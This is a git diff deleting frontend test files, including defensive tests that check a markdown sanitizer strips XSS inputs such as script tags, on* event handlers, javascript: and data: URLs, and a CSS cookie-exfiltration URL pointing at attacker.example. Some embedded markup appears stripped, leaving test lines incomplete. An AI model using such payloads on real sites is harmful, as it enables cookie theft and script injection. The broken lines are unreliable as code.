LAUNCH$MODAL_TITLE_GENERIC - const title = screen.getByRole("heading", { level: 2 }); - expect(title.textContent).toContain("LAUNCH$MODAL_TITLE_GENERIC"); - }); - }); - - describe("Message Display", () => { - it("should display message when provided", () => { - renderModal([{ source: "github:owner/repo" }], { - message: "This is a custom message", - }); - - expect(screen.getByText("This is a custom message")).toBeInTheDocument(); - }); - - it("should not render message element when not provided", () => { - renderModal([{ source: "github:owner/repo" }]); - - // No message should be present - const modal = screen.getByTestId("plugin-launch-modal"); - expect(modal.querySelector("p.text-neutral-400")).not.toBeInTheDocument(); - }); - }); - - describe("Expandable Sections", () => { - it("should expand plugin section by default when it has parameters", () => { - renderModal([ - { - source: "github:owner/repo", - parameters: { apiKey: "test-key" }, - }, - ]); - - // Parameter input should be visible (section is expanded) - expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument(); - }); - - it("should collapse/expand section when clicking header", async () => { - const user = userEvent.setup(); - renderModal([ - { - source: "github:owner/repo", - parameters: { apiKey: "test-key" }, - }, - ]); - - // Initially expanded - parameter visible - expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument(); - - // Click to collapse - await user.click(screen.getByTestId("plugin-section-0")); - - // Parameter should be hidden - await waitFor(() => { - expect( - screen.queryByTestId("plugin-0-param-apiKey"), - ).not.toBeInTheDocument(); - }); - - // Click to expand again - await user.click(screen.getByTestId("plugin-section-0")); - - // Parameter should be visible again - await waitFor(() => { - expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument(); - }); - }); - }); - - describe("Parameter Inputs", () => { - it("should render text input for string parameters", () => { - renderModal([ - { - source: "github:owner/repo", - parameters: { name: "default-name" }, - }, - ]); - - const input = screen.getByTestId("plugin-0-param-name"); - expect(input).toHaveAttribute("type", "text"); - expect(input).toHaveValue("default-name"); - }); - - it("should render number input for number parameters", () => { - renderModal([ - { - source: "github:owner/repo", - parameters: { count: 42 }, - }, - ]); - - const input = screen.getByTestId("plugin-0-param-count"); - expect(input).toHaveAttribute("type", "number"); - expect(input).toHaveValue(42); - }); - - it("should render checkbox for boolean parameters", () => { - renderModal([ - { - source: "github:owner/repo", - parameters: { enabled: true }, - }, - ]); - - const checkbox = screen.getByTestId("plugin-0-param-enabled"); - expect(checkbox).toHaveAttribute("type", "checkbox"); - expect(checkbox).toBeChecked(); - }); - - it("should update string parameter value when typing", async () => { - const user = userEvent.setup(); - renderModal([ - { - source: "github:owner/repo", - parameters: { apiKey: "initial" }, - }, - ]); - - const input = screen.getByTestId("plugin-0-param-apiKey"); - await user.clear(input); - await user.type(input, "new-value"); - - expect(input).toHaveValue("new-value"); - }); - - it("should update number parameter value when typing", async () => { - const user = userEvent.setup(); - renderModal([ - { - source: "github:owner/repo", - parameters: { count: 5 }, - }, - ]); - - const input = screen.getByTestId("plugin-0-param-count"); - await user.clear(input); - await user.type(input, "100"); - - expect(input).toHaveValue(100); - }); - - it("should toggle boolean parameter when clicking checkbox", async () => { - const user = userEvent.setup(); - renderModal([ - { - source: "github:owner/repo", - parameters: { debug: false }, - }, - ]); - - const checkbox = screen.getByTestId("plugin-0-param-debug"); - expect(checkbox).not.toBeChecked(); - - await user.click(checkbox); - - expect(checkbox).toBeChecked(); - }); - }); - - describe("Ref and Path Display", () => { - it("should display ref when provided", async () => { - renderModal([ - { - source: "github:owner/repo", - ref: "v1.2.3", - parameters: { key: "value" }, - }, - ]); - - // Check the expanded section contains the ref value - const modal = screen.getByTestId("plugin-launch-modal"); - expect(modal.textContent).toContain("v1.2.3"); - }); - - it("should display repo_path when provided", () => { - renderModal([ - { - source: "github:owner/repo", - repo_path: "plugins/my-plugin", - parameters: { key: "value" }, - }, - ]); - - // Check the expanded section contains the path value - const modal = screen.getByTestId("plugin-launch-modal"); - expect(modal.textContent).toContain("plugins/my-plugin"); - }); - }); - - describe("Plugins Without Parameters", () => { - it("should show plugins list when all plugins have no parameters", () => { - renderModal([ - { source: "github:owner/plugin1" }, - { source: "github:owner/plugin2" }, - ]); - - expect(screen.getByText("LAUNCH$PLUGINS")).toBeInTheDocument(); - // When no repo_path, the full repo path is shown (may appear multiple times) - expect(screen.getAllByText("owner/plugin1").length).toBeGreaterThan(0); - expect(screen.getAllByText("owner/plugin2").length).toBeGreaterThan(0); - }); - - it("should show 'Additional Plugins' when mixing plugins with and without params", () => { - renderModal([ - { source: "github:owner/with-params", parameters: { key: "val" } }, - { source: "github:owner/without-params" }, - ]); - - expect(screen.getByText("LAUNCH$ADDITIONAL_PLUGINS")).toBeInTheDocument(); - // When no repo_path, the full repo path is shown - expect(screen.getAllByText("owner/without-params").length).toBeGreaterThan(0); - }); - - it("should show ref in simple plugin list", () => { - renderModal([ - { source: "github:owner/plugin", ref: "main" }, - ]); - - expect(screen.getByText("@ main")).toBeInTheDocument(); - }); - - it("should show repo_path in simple plugin list", () => { - renderModal([ - { source: "github:owner/repo", repo_path: "plugins/city-weather" }, - ]); - - // Should show the plugin name - expect(screen.getByText("city-weather")).toBeInTheDocument(); - // Should show the source info with path - const modal = screen.getByTestId("plugin-launch-modal"); - expect(modal.textContent).toContain("owner/repo"); - expect(modal.textContent).toContain("plugins/city-weather"); - }); - }); - - describe("Action Buttons", () => { - it("should call onClose when close button is clicked", async () => { - const user = userEvent.setup(); - renderModal([{ source: "github:owner/repo" }]); - - await user.click(screen.getByTestId("close-button")); - - expect(mockOnClose).toHaveBeenCalledTimes(1); - }); - - it("should call onStartConversation with updated plugins when start button is clicked", async () => { - const user = userEvent.setup(); - renderModal([ - { - source: "github:owner/repo", - ref: "main", - parameters: { apiKey: "initial" }, - }, - ]); - - // Update the parameter - const input = screen.getByTestId("plugin-0-param-apiKey"); - await user.clear(input); - await user.type(input, "updated-key"); - - // Check the trust checkbox first - await user.click(screen.getByTestId("trust-checkbox")); - - // Click start - await user.click(screen.getByTestId("start-conversation-button")); - - expect(mockOnStartConversation).toHaveBeenCalledTimes(1); - const calledWithPlugins = mockOnStartConversation.mock.calls[0][0]; - const calledWithMessage = mockOnStartConversation.mock.calls[0][1]; - expect(calledWithPlugins[0].source).toBe("github:owner/repo"); - expect(calledWithPlugins[0].ref).toBe("main"); - expect(calledWithPlugins[0].parameters.apiKey).toBe("updated-key"); - expect(calledWithMessage).toBeUndefined(); - }); - - it("should call onStartConversation with message when provided", async () => { - const user = userEvent.setup(); - renderModal( - [{ source: "github:owner/repo" }], - { message: "/city-weather:now Tokyo" }, - ); - - // Check the trust checkbox first - await user.click(screen.getByTestId("trust-checkbox")); - - await user.click(screen.getByTestId("start-conversation-button")); - - expect(mockOnStartConversation).toHaveBeenCalledTimes(1); - const calledWithPlugins = mockOnStartConversation.mock.calls[0][0]; - const calledWithMessage = mockOnStartConversation.mock.calls[0][1]; - expect(calledWithPlugins[0].source).toBe("github:owner/repo"); - expect(calledWithMessage).toBe("/city-weather:now Tokyo"); - }); - - it("should show 'Starting...' text when loading", () => { - renderModal([{ source: "github:owner/repo" }], { isLoading: true }); - - expect(screen.getByText("LAUNCH$STARTING")).toBeInTheDocument(); - }); - - it("should disable start button when loading", () => { - renderModal([{ source: "github:owner/repo" }], { isLoading: true }); - - expect(screen.getByTestId("start-conversation-button")).toBeDisabled(); - }); - }); - - describe("Multiple Plugins with Parameters", () => { - it("should render multiple expandable sections for plugins with parameters", () => { - renderModal([ - { source: "github:owner/plugin1", parameters: { key1: "val1" } }, - { source: "github:owner/plugin2", parameters: { key2: "val2" } }, - ]); - - expect(screen.getByTestId("plugin-section-0")).toBeInTheDocument(); - expect(screen.getByTestId("plugin-section-1")).toBeInTheDocument(); - }); - - it("should maintain separate state for each plugin's parameters", async () => { - const user = userEvent.setup(); - renderModal([ - { source: "github:owner/plugin1", parameters: { key1: "val1" } }, - { source: "github:owner/plugin2", parameters: { key2: "val2" } }, - ]); - - // Update first plugin's parameter - const input1 = screen.getByTestId("plugin-0-param-key1"); - await user.clear(input1); - await user.type(input1, "new-val1"); - - // Second plugin's parameter should be unchanged - const input2 = screen.getByTestId("plugin-1-param-key2"); - expect(input2).toHaveValue("val2"); - - // First plugin should have new value - expect(input1).toHaveValue("new-val1"); - }); - }); -}); diff --git a/__tests__/components/features/markdown/code.test.tsx b/__tests__/components/features/markdown/code.test.tsx deleted file mode 100644 index c5ba1562a..000000000 --- a/__tests__/components/features/markdown/code.test.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect } from "vitest"; -import { code as Code } from "#/components/features/markdown/code"; - -describe("code (markdown)", () => { - it("should render inline code without a copy button", () => { - render(inline snippet); - - expect(screen.getByText("inline snippet")).toBeInTheDocument(); - expect(screen.queryByTestId("copy-to-clipboard")).not.toBeInTheDocument(); - }); - - it("should render a multiline code block with a copy button", () => { - render({"line1\nline2"}); - - expect(screen.getByText("line1 line2")).toBeInTheDocument(); - expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument(); - }); - - it("should render a syntax-highlighted block with a copy button", () => { - render({"console.log('hi')"}); - - expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument(); - }); - - it("should copy code block content to clipboard", async () => { - const user = userEvent.setup(); - render({"line1\nline2"}); - - await user.click(screen.getByTestId("copy-to-clipboard")); - - await waitFor(() => - expect(navigator.clipboard.readText()).resolves.toBe("line1\nline2"), - ); - }); -}); diff --git a/__tests__/components/features/markdown/markdown-renderer.test.tsx b/__tests__/components/features/markdown/markdown-renderer.test.tsx deleted file mode 100644 index 6b10981f0..000000000 --- a/__tests__/components/features/markdown/markdown-renderer.test.tsx +++ /dev/null @@ -1,335 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { sanitize } from "hast-util-sanitize"; -import type { Element, Root } from "hast"; - -import { - MarkdownRenderer, - MARKDOWN_SANITIZE_SCHEMA, -} from "#/components/features/markdown/markdown-renderer"; - -describe("MarkdownRenderer", () => { - it("renders GFM tables (a GFM-only feature)", () => { - const md = [ - "| Col A | Col B |", - "| ----- | ----- |", - "| 1 | 2 |", - ].join("\n"); - - const { container } = render({md}); - - const table = container.querySelector("table"); - expect(table).not.toBeNull(); - expect(container.querySelectorAll("th")).toHaveLength(2); - expect(container.querySelectorAll("td")).toHaveLength(2); - }); - - it("renders GFM strikethrough", () => { - const { container } = render( - {"~~struck~~ word"}, - ); - expect(container.querySelector("del")).not.toBeNull(); - expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del"); - }); - - it("renders GFM task list checkboxes", () => { - const md = ["- [x] done", "- [ ] todo"].join("\n"); - const { container } = render({md}); - const checkboxes = container.querySelectorAll('input[type="checkbox"]'); - expect(checkboxes).toHaveLength(2); - expect((checkboxes[0] as HTMLInputElement).checked).toBe(true); - expect((checkboxes[1] as HTMLInputElement).checked).toBe(false); - }); - - it("renders inline HTML embedded in markdown", () => { - const md = "Hello world and Ctrl+C"; - const { container } = render({md}); - expect(container.querySelector("mark")?.textContent).toBe("world"); - expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C"); - }); - - it("renders
/ for collapsible sections", () => { - const md = [ - "
", - "Show more", - "", - "Hidden content", - "
", - ].join("\n"); - const { container } = render({md}); - expect(container.querySelector("details")).not.toBeNull(); - expect(container.querySelector("summary")?.textContent).toBe("Show more"); - }); - - it("strips world"; - const { container } = render({md}); - expect(container.querySelector("script")).toBeNull(); - // The text content surrounding the script must still be there. - expect(container.textContent).toContain("Hello"); - expect(container.textContent).toContain("world"); - }); - - it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => { - const md = ''; - const { container } = render({md}); - const button = container.querySelector("button"); - // The element itself may pass through (it's a normal HTML button) but - // the onclick attribute must be gone. - if (button) { - expect(button.getAttribute("onclick")).toBeNull(); - } - }); - - it("strips javascript: URLs in anchor hrefs", () => { - // Use raw HTML so we test the sanitizer end-to-end (markdown's own - // link syntax escapes this differently). - const md = 'click'; - const { container } = render({md}); - const anchor = container.querySelector("a"); - // Two acceptable sanitize outcomes: - // (1) the anchor is stripped entirely → `anchor === null`, - // (2) the anchor survives but its dangerous href was dropped. - // What's NOT acceptable is keeping the javascript: URL. Assert - // explicitly in both branches so we never accidentally pass on a - // sanitizer that smuggles the link through unmodified by removing - // the surrounding wrapper (in which case the `if (anchor)` check - // would short-circuit silently). - if (anchor === null) { - // Sanitizer dropped the anchor entirely — verifiably safe. - expect(anchor).toBeNull(); - } else { - expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i); - } - }); - - it("does not honor `style` attributes (CSS-injection class of attacks)", () => { - // CSS can be a side channel for data exfiltration - // (`background-image: url("https://attacker.example/?cookie=…")`) or - // for clickjacking/UI redress (`position: fixed; top: 0; …`). Our - // schema deliberately omits `style` from the allowed attribute list - // so the sanitizer drops it. - const md = - "
x
"; - const { container } = render({md}); - const div = container.querySelector("div"); - expect(div).not.toBeNull(); - // The style attribute must be gone (or at minimum not contain the - // attacker URL). - expect(div?.getAttribute("style") ?? "").not.toMatch(/attacker\.example/i); - expect(div?.getAttribute("style")).toBeNull(); - }); - - it("blocks data:text/html URLs in img src", () => { - // `data:` covers arbitrary mime types, not just images — allowing - // it on `` would let an authored doc round-trip an HTML - // document with no schema validation. Our protocol allow-list for - // src is restricted to http(s). - const md = 'x'; - const { container } = render({md}); - const img = container.querySelector("img"); - // The sanitizer may either drop src entirely or drop the whole tag — - // either way the data:text/html URL must not survive. - expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i); - }); - - it("strips other inline event handlers (onerror, onload, onmouseover)", () => { - const cases = [ - '', - '
hover
', - 'link', - ]; - for (const md of cases) { - const { container } = render({md}); - // Whichever tag survived must not carry an on* handler attribute. - const element = container.querySelector("img, div, a"); - if (element) { - for (const attr of element.getAttributeNames()) { - expect(attr.toLowerCase()).not.toMatch(/^on/); - } - } - } - }); - - it("keeps http(s) and mailto: URLs intact", () => { - const md = - "[external](https://example.com) and [mail](mailto:a@example.com)"; - const { container } = render({md}); - const anchors = container.querySelectorAll("a"); - const hrefs = Array.from(anchors).map((a) => a.getAttribute("href")); - expect(hrefs).toContain("https://example.com"); - expect(hrefs).toContain("mailto:a@example.com"); - }); - - it("drops '; - const { container } = render({md}); - expect(container.querySelector("iframe")).toBeNull(); - }); - - it("strips raw HTML when allowHtml=false", () => { - const md = "Hello world"; - const { container } = render( - {md}, - ); - // should not be parsed; the text should still appear. - expect(container.querySelector("mark")).toBeNull(); - expect(container.textContent).toContain("world"); - }); - - describe("GitHub-style alert blockquotes", () => { - const ALERT_CASES: Array<{ marker: string; label: string }> = [ - { marker: "NOTE", label: "Note" }, - { marker: "TIP", label: "Tip" }, - { marker: "IMPORTANT", label: "Important" }, - { marker: "WARNING", label: "Warning" }, - { marker: "CAUTION", label: "Caution" }, - ]; - - it.each(ALERT_CASES)( - "renders the $marker alert with title and body", - ({ marker, label }) => { - const md = [`> [!${marker}]`, "> Body content for the alert."].join( - "\n", - ); - const { container } = render({md}); - - const alert = screen.getByTestId( - `markdown-alert-${marker.toLowerCase()}`, - ); - expect(alert).not.toBeNull(); - // Title label must appear and the original `[!TYPE]` marker must not. - expect(alert.textContent).toContain(label); - expect(alert.textContent).toContain("Body content for the alert."); - expect(alert.textContent).not.toContain(`[!${marker}]`); - // The styled alert is rendered as a
, not a
. - expect(container.querySelector("blockquote")).toBeNull(); - }, - ); - - it("accepts the marker with lowercase casing", () => { - const md = ["> [!warning]", "> mixed-case body"].join("\n"); - render({md}); - const alert = screen.getByTestId("markdown-alert-warning"); - expect(alert.textContent).toContain("Warning"); - expect(alert.textContent).toContain("mixed-case body"); - }); - - it("renders the linked-issue example end-to-end", () => { - // The exact snippet from the bug report. - const md = [ - "> [!WARNING]", - "> This project is in sandbox phase. It may be vibecoded, untested, or out of date. OpenHands takes no responsibility for the code or its support. [Learn more](https://github.com/OpenHands/incubator-program).", - ].join("\n"); - - render({md}); - - const alert = screen.getByTestId("markdown-alert-warning"); - expect(alert.textContent).toContain("Warning"); - expect(alert.textContent).toContain("This project is in sandbox phase."); - expect(alert.textContent).not.toContain("[!WARNING]"); - // The inline link inside the alert body still renders as an anchor. - const link = alert.querySelector("a"); - expect(link?.getAttribute("href")).toBe( - "https://github.com/OpenHands/incubator-program", - ); - }); - - it("leaves regular blockquotes (no [!TYPE] marker) as
", () => { - const md = ["> Just a normal quote.", "> Second line."].join("\n"); - const { container } = render({md}); - expect(container.querySelector("blockquote")).not.toBeNull(); - expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull(); - }); - - it("does not treat unknown alert types as alerts", () => { - const md = ["> [!UNKNOWN]", "> body"].join("\n"); - const { container } = render({md}); - expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull(); - // Falls back to a regular blockquote that still contains the literal - // marker text so the user can see what they wrote. - const bq = container.querySelector("blockquote"); - expect(bq).not.toBeNull(); - expect(bq?.textContent).toContain("[!UNKNOWN]"); - }); - - it("survives rehype-sanitize (className passes through unchanged)", () => { - // Regression guard: if a future schema change strips className from - // the blockquote, the renderer would fall back to a plain blockquote - // and the test-id would disappear. - const md = ["> [!WARNING]", "> sanitized body"].join("\n"); - render({md}); - expect(screen.getByTestId("markdown-alert-warning")).not.toBeNull(); - }); - }); -}); - -// Direct tests against MARKDOWN_SANITIZE_SCHEMA. End-to-end -// MarkdownRenderer tests can't reach these because our custom `anchor` -// component always hard-codes target/rel — so even a buggy schema (one -// that strips `rel` from HAST) would still produce a safe-looking final -// ``. We run `hast-util-sanitize` directly on hand-built HAST trees -// to assert what the schema does and doesn't pass through. -describe("MARKDOWN_SANITIZE_SCHEMA", () => { - function makeAnchor(properties: Record): Root { - return { - type: "root", - children: [ - { - type: "element", - tagName: "a", - properties, - children: [{ type: "text", value: "link" }], - } as Element, - ], - }; - } - - function firstAnchor(tree: Root): Element | null { - const node = tree.children[0]; - return node && node.type === "element" ? (node as Element) : null; - } - - it("preserves space-separated rel values on raw HTML anchors (regression for fc208bc)", () => { - // The old schema used `["rel", "noopener", "noreferrer", "nofollow"]`, - // which is rehype-sanitize's "exact match against allowed values" - // form — it would reject `rel="noopener noreferrer"` (the canonical - // safe-link incantation) because the *combined* string isn't in the - // allowed-values list. With the fix this test must pass: rel is - // preserved verbatim. - const tree = sanitize( - makeAnchor({ - href: "https://example.com", - target: "_blank", - rel: "noopener noreferrer", - }), - MARKDOWN_SANITIZE_SCHEMA, - ) as Root; - - const a = firstAnchor(tree); - expect(a).not.toBeNull(); - // hast-util-sanitize stores `rel` as an array of tokens; reassemble. - const relProp = a?.properties?.rel; - const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp; - expect(rel).toBe("noopener noreferrer"); - expect(a?.properties?.target).toBe("_blank"); - expect(a?.properties?.href).toBe("https://example.com"); - }); - - it("preserves rel even when it carries unusual but-safe tokens like `nofollow ugc`", () => { - // `rel` keywords never execute code or navigate, so allowing any - // value is safe. This locks that property in. - const tree = sanitize( - makeAnchor({ - href: "https://example.com", - rel: "nofollow ugc", - }), - MARKDOWN_SANITIZE_SCHEMA, - ) as Root; - - const a = firstAnchor(tree); - const relProp = a?.properties?.rel; - const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp; - expect(rel).toBe("nofollow ugc"); - }); -}); diff --git a/__tests__/components/features/markdown/markdown-table-scroll.test.tsx b/__tests__/components/features/markdown/markdown-table-scroll.test.tsx deleted file mode 100644 index b6898393b..000000000 --- a/__tests__/components/features/markdown/markdown-table-scroll.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { - MarkdownTableScroll, - readScrollFadeState, -} from "#/components/features/markdown/markdown-table-scroll"; - -function mockScrollMetrics( - element: HTMLElement, - metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number }, -) { - Object.defineProperty(element, "scrollWidth", { - configurable: true, - value: metrics.scrollWidth, - }); - Object.defineProperty(element, "clientWidth", { - configurable: true, - value: metrics.clientWidth, - }); - Object.defineProperty(element, "scrollLeft", { - configurable: true, - writable: true, - value: metrics.scrollLeft, - }); -} - -describe("readScrollFadeState", () => { - it("hides both fades when the table fits", () => { - const element = document.createElement("div"); - mockScrollMetrics(element, { - scrollWidth: 400, - clientWidth: 400, - scrollLeft: 0, - }); - - expect(readScrollFadeState(element)).toEqual({ left: false, right: false }); - }); - - it("shows only the right fade at the start of an overflowing table", () => { - const element = document.createElement("div"); - mockScrollMetrics(element, { - scrollWidth: 800, - clientWidth: 300, - scrollLeft: 0, - }); - - expect(readScrollFadeState(element)).toEqual({ left: false, right: true }); - }); - - it("shows both fades in the middle of an overflowing table", () => { - const element = document.createElement("div"); - mockScrollMetrics(element, { - scrollWidth: 800, - clientWidth: 300, - scrollLeft: 250, - }); - - expect(readScrollFadeState(element)).toEqual({ left: true, right: true }); - }); - - it("shows only the left fade at the end of an overflowing table", () => { - const element = document.createElement("div"); - mockScrollMetrics(element, { - scrollWidth: 800, - clientWidth: 300, - scrollLeft: 500, - }); - - expect(readScrollFadeState(element)).toEqual({ left: true, right: false }); - }); -}); - -describe("MarkdownTableScroll", () => { - beforeEach(() => { - vi.stubGlobal( - "ResizeObserver", - class { - observe = vi.fn(); - - unobserve = vi.fn(); - - disconnect = vi.fn(); - }, - ); - }); - - afterEach(() => { - vi.unstubAllGlobals(); - }); - - it("renders animated edge fades that toggle with horizontal scroll", () => { - render( - - - - - - - -
Wide content
-
, - ); - - const scroller = screen.getByTestId("markdown-table-scroll"); - const leftFade = screen.getByTestId("markdown-table-scroll-fade-left"); - const rightFade = screen.getByTestId("markdown-table-scroll-fade-right"); - - mockScrollMetrics(scroller, { - scrollWidth: 900, - clientWidth: 320, - scrollLeft: 0, - }); - fireEvent.scroll(scroller); - - expect(rightFade).toHaveAttribute("data-visible", "true"); - expect(rightFade).toHaveClass("opacity-100"); - expect(leftFade).toHaveAttribute("data-visible", "false"); - expect(leftFade).toHaveClass("opacity-0"); - - mockScrollMetrics(scroller, { - scrollWidth: 900, - clientWidth: 320, - scrollLeft: 580, - }); - fireEvent.scroll(scroller); - - expect(leftFade).toHaveAttribute("data-visible", "true"); - expect(leftFade).toHaveClass("opacity-100"); - expect(rightFade).toHaveAttribute("data-visible", "false"); - expect(rightFade).toHaveClass("opacity-0"); - }); -}); diff --git a/__tests__/components/features/markdown/plan-components.test.tsx b/__tests__/components/features/markdown/plan-components.test.tsx deleted file mode 100644 index 7cef6be19..000000000 --- a/__tests__/components/features/markdown/plan-components.test.tsx +++ /dev/null @@ -1,336 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { render, screen } from "@testing-library/react"; -import { - planComponents, - createPlanComponents, -} from "#/components/features/markdown/plan-components"; - -describe("planComponents", () => { - describe("h1", () => { - it("should render h1 with correct text content", () => { - // Arrange - const H1 = planComponents.h1; - const text = "Main Heading"; - - // Act - render(

{text}

); - - // Assert - const heading = screen.getByRole("heading", { level: 1 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - - it("should handle undefined children gracefully", () => { - // Arrange - const H1 = planComponents.h1; - - // Act - render(

{undefined}

); - - // Assert - const heading = screen.getByRole("heading", { level: 1 }); - expect(heading).toBeInTheDocument(); - expect(heading).toBeEmptyDOMElement(); - }); - - it("should render complex children content", () => { - // Arrange - const H1 = planComponents.h1; - - // Act - render( -

- Nested Content -

, - ); - - // Assert - const heading = screen.getByRole("heading", { level: 1 }); - expect(heading).toHaveTextContent("Nested Content"); - expect(heading.querySelector("span")).toHaveTextContent("Nested"); - }); - }); - - describe("h2", () => { - it("should render h2 with correct text content", () => { - // Arrange - const H2 = planComponents.h2; - const text = "Section Heading"; - - // Act - render(

{text}

); - - // Assert - const heading = screen.getByRole("heading", { level: 2 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - - it("should handle null children gracefully", () => { - // Arrange - const H2 = planComponents.h2; - - // Act - render(

{null}

); - - // Assert - const heading = screen.getByRole("heading", { level: 2 }); - expect(heading).toBeInTheDocument(); - expect(heading).toBeEmptyDOMElement(); - }); - }); - - describe("h3", () => { - it("should render h3 with correct text content", () => { - // Arrange - const H3 = planComponents.h3; - const text = "Subsection Heading"; - - // Act - render(

{text}

); - - // Assert - const heading = screen.getByRole("heading", { level: 3 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - }); - - describe("h4", () => { - it("should render h4 with correct text content", () => { - // Arrange - const H4 = planComponents.h4; - const text = "Level 4 Heading"; - - // Act - render(

{text}

); - - // Assert - const heading = screen.getByRole("heading", { level: 4 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - }); - - describe("h5", () => { - it("should render h5 with correct text content", () => { - // Arrange - const H5 = planComponents.h5; - const text = "Level 5 Heading"; - - // Act - render(
{text}
); - - // Assert - const heading = screen.getByRole("heading", { level: 5 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - }); - - describe("h6", () => { - it("should render h6 with correct text content", () => { - // Arrange - const H6 = planComponents.h6; - const text = "Level 6 Heading"; - - // Act - render(
{text}
); - - // Assert - const heading = screen.getByRole("heading", { level: 6 }); - expect(heading).toBeInTheDocument(); - expect(heading).toHaveTextContent(text); - }); - }); - - describe("heading hierarchy", () => { - it("should render all heading levels correctly in sequence", () => { - // Arrange - const H1 = planComponents.h1; - const H2 = planComponents.h2; - const H3 = planComponents.h3; - const H4 = planComponents.h4; - const H5 = planComponents.h5; - const H6 = planComponents.h6; - - // Act - render( -
-

Heading 1

-

Heading 2

-

Heading 3

-

Heading 4

-
Heading 5
-
Heading 6
-
, - ); - - // Assert - expect(screen.getByRole("heading", { level: 1 })).toHaveTextContent( - "Heading 1", - ); - expect(screen.getByRole("heading", { level: 2 })).toHaveTextContent( - "Heading 2", - ); - expect(screen.getByRole("heading", { level: 3 })).toHaveTextContent( - "Heading 3", - ); - expect(screen.getByRole("heading", { level: 4 })).toHaveTextContent( - "Heading 4", - ); - expect(screen.getByRole("heading", { level: 5 })).toHaveTextContent( - "Heading 5", - ); - expect(screen.getByRole("heading", { level: 6 })).toHaveTextContent( - "Heading 6", - ); - }); - }); - - describe("p", () => { - it("should render paragraph with correct text content", () => { - // Arrange - const P = planComponents.p; - const text = "Paragraph text"; - - // Act - render(

{text}

); - - // Assert - expect(screen.getByText(text)).toBeInTheDocument(); - }); - }); - - describe("ul", () => { - it("should render unordered list with correct content", () => { - // Arrange - const Ul = planComponents.ul; - const Li = planComponents.li; - - // Act - render( -
    -
  • Item 1
  • -
  • Item 2
  • -
, - ); - - // Assert - expect(screen.getByRole("list")).toBeInTheDocument(); - expect(screen.getAllByRole("listitem")).toHaveLength(2); - }); - }); - - describe("ol", () => { - it("should render ordered list with correct content", () => { - // Arrange - const Ol = planComponents.ol; - const Li = planComponents.li; - - // Act - render( -
    -
  1. Item 1
  2. -
  3. Item 2
  4. -
, - ); - - // Assert - expect(screen.getByRole("list")).toBeInTheDocument(); - expect(screen.getAllByRole("listitem")).toHaveLength(2); - }); - - it("should support start attribute", () => { - // Arrange - const Ol = planComponents.ol; - const Li = planComponents.li; - - // Act - const { container } = render( -
    -
  1. Item 1
  2. -
, - ); - - // Assert - const ol = container.querySelector("ol"); - expect(ol).toHaveAttribute("start", "5"); - }); - }); - - describe("a", () => { - it("should render anchor with correct href and content", () => { - // Arrange - const A = planComponents.a; - const href = "https://example.com"; - const text = "Link text"; - - // Act - render(
{text}); - - // Assert - const link = screen.getByRole("link"); - expect(link).toHaveTextContent(text); - expect(link).toHaveAttribute("href", href); - expect(link).toHaveAttribute("target", "_blank"); - expect(link).toHaveAttribute("rel", "noopener noreferrer"); - }); - }); - - describe("code", () => { - it("should render inline code with correct content", () => { - // Arrange - const Code = planComponents.code; - const text = "const x = 1"; - - // Act - render({text}); - - // Assert - expect(screen.getByText(text)).toBeInTheDocument(); - }); - }); -}); - -describe("createPlanComponents", () => { - it("should apply extraClassName to all elements when provided", () => { - // Arrange - const extraClassName = "test-extra-class"; - const components = createPlanComponents(extraClassName); - - // Act - const { container } = render( -
- H1 - Paragraph - - Item - - Link - Code -
, - ); - - // Assert - expect(container.querySelector("h1")).toHaveClass(extraClassName); - expect(container.querySelector("p")).toHaveClass(extraClassName); - expect(container.querySelector("ul")).toHaveClass(extraClassName); - expect(container.querySelector("li")).toHaveClass(extraClassName); - expect(container.querySelector("a")).toHaveClass(extraClassName); - expect(container.querySelector("code")).toHaveClass(extraClassName); - }); - - it("should not add undefined class when extraClassName is not provided", () => { - // Arrange - const components = createPlanComponents(); - - // Act - const { container } = render(H1); - - // Assert - const h1 = container.querySelector("h1"); - expect(h1?.className).not.toContain("undefined"); - }); -}); diff --git a/__tests__/components/features/markdown/table.test.tsx b/__tests__/components/features/markdown/table.test.tsx deleted file mode 100644 index 958984ddf..000000000 --- a/__tests__/components/features/markdown/table.test.tsx +++ /dev/null @@ -1,91 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { MarkdownRenderer } from "#/components/features/markdown/markdown-renderer"; - -const GFM_TABLE = [ - "| Feature | OpenAI Codex | Claude Code |", - "|---------|--------------|-------------|", - "| CLI | ✅ | ✅ |", - "| Mobile | ❌ | ✅ |", -].join("\n"); - -describe("table (markdown)", () => { - it("should render a GFM pipe table as a element", () => { - render({GFM_TABLE}); - - const table = screen.getByRole("table"); - expect(table).toBeInTheDocument(); - }); - - it("should wrap the table in a horizontally scrollable container", () => { - const { container } = render( - {GFM_TABLE}, - ); - - const wrapper = screen.getByTestId("markdown-table-scroll"); - expect(wrapper).toHaveClass("overflow-x-auto"); - expect(wrapper).toHaveClass("custom-scrollbar-always"); - 